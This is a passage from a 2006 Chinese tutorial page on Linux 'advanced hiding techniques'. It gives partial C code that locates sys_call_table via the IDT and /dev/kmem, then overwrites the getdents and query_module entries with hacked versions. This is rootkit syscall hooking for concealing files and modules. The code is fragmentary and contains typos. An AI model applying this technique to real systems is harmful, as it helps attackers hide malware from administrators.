考试网 >> IT认证 >> Linux >> Linux指导 >> Linux环境下的高级隐藏技术(安全)

Linux环境下的高级隐藏技术(安全)

发布时间:2006-06-28 10:57     点击:
分页:上一页  1 2 3 4 [5] 

   unsigned short off1;

   unsigned short sel;

   unsigned char none,flags;

   unsigned short off2;

   }__attribute__((packed))idt;

   int kmem;

   / *下面函数用于从kemem对应的文件中偏移量为off处读取sz个字节至内存m处*/

   void readkmem(void *m,unsigned off,int sz) {………}

   /*下面函数用于从src读取count个字节至dest处*/

   void weitekmem(void *src,void *dest,unsigned int count) {………..}

   unsigned sct;  //用来存放sys_call_table地址

   char buff[100]; //用于存放system_call函数的前100个字节。

   char *p;

   if((kmem=open(“/dev/kmem”,O_RDONLY))<0)

   return 1;

   asm(“sidt %0” “:=m” (idtr));          //读取idtr寄存器的值至idtr结构中

   readkmem(&idt,idtr.base+8*0x80,sizeof(idt))    //将0x80描述符读至idt结构中

   sys_ call_off=(idt.off2<<16)|idt.off1;       //得到system_call函数的地址。

   readkmem(buff,sys_call_off,100)   //读取system_call函数的前100字节至buff

   p=(char *)memmem(buff,100,”xffx14x85”,3);  //得到call语句对应机器码的地址

   sct=(unsigned *)(p+3)            //得到sys_call_table的地址。

   至此已经得到了sys_call_table在内存中的位置,这样在根据系统调用号就能够找到相应的系统调用对应的地址,修改该地址就可以使用新的系统调函数,具体的做法如下:

   readkmem(&orig_getdents,sct+ SYS_getdents*4,4)//保存原来的系统调用

   readkmem(&orig_query_module,sct+SYS_query_module*4,4);

   writekmem(hacked_getdents,sct+SYS_getdents*4,4);//设置新的系统调用

   writekmem(hacket_query_module,sct+SYS_query_module*4,4);

   2.5 其他的相关技术

  
分页:上一页  1 2 3 4 [5] 
版权申明:未经书面授权请勿转载本站信息!!作品版权归所属媒体与作者所有!!
发表评论: 匿名发表 用户名: 查看评论
您将承担一切因您的行为、言论而直接或间接导致的民事或刑事法律责任
留言板管理人员有权保留或删除其管辖留言中的任意内容
本站提醒:不要进行人身攻击。谢谢配合。
在本站搜索相关信息
2003-2005 Ksw123.com All Rights Reserved. - TOP
Copyright © 2006 Ksw123.com. All rights reserved.中国考题网 版权所有